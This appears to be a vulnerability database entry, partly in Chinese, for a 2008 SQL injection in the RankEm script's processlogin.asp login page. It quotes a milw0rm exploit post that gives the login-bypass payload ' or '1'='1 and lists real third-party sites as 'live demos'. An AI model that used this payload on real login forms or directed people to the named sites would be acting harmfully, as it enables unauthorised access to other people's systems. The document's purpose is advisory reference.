Katy Whitton RankEm processlogin.asp SQL注入漏洞

https://www.exploit-db.com/exploits/7350
https://www.securityfocus.com/bid/32686
https://cxsecurity.com/issue/WLB-2008120140
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200812-274

KatyWhittonRankEm是一款站点管理的工具软件。KatyWhittonRankEm的processlogin.asp中存在SQL注入漏洞。远程攻击者可以借助(1)txtusername参数(又称用户字段)或(2)txtpassword参数(又称密码字段)，执行任意SQL指令。

###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################


---------------------------- Tunisia Muslim ------------------------------

#found by : OffensiveTrack
#Author   : AlpHaNiX
#website  : www.offensivetrack.org

#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : RankEm
#download : http://www.katywhitton.com/downloads/rankEm/rankEmDL.zip



#Exploit :
http://target.com/login.asp

username : ' or '1'='1
password : ' or '1'='1


#Live Demo :
http://www.top50.co.nz/login.asp

http://www.truckstop.nu/login.asp
  

username : ' or '1'='1
password : ' or '1'='1
 

#Greetz For W!nd[O]ws my partner :)

###########################################################################

# milw0rm.com [2008-12-05]

Katy Whitton RankEm 0

来源:XF
名称:rankem-processlogin-sql-injection(47114)
链接:http://xforce.iss.net/xforce/xfdb/47114
来源:BID
名称:32686
链接:http://www.securityfocus.com/bid/32686
来源:MILW0RM
名称:7350
链接:http://www.milw0rm.com/exploits/7350
来源:SREASON
名称:4746
链接:http://securityreason.com/securityalert/4746
来源:SECUNIA
名称:33012
链接:http://secunia.com/advisories/33012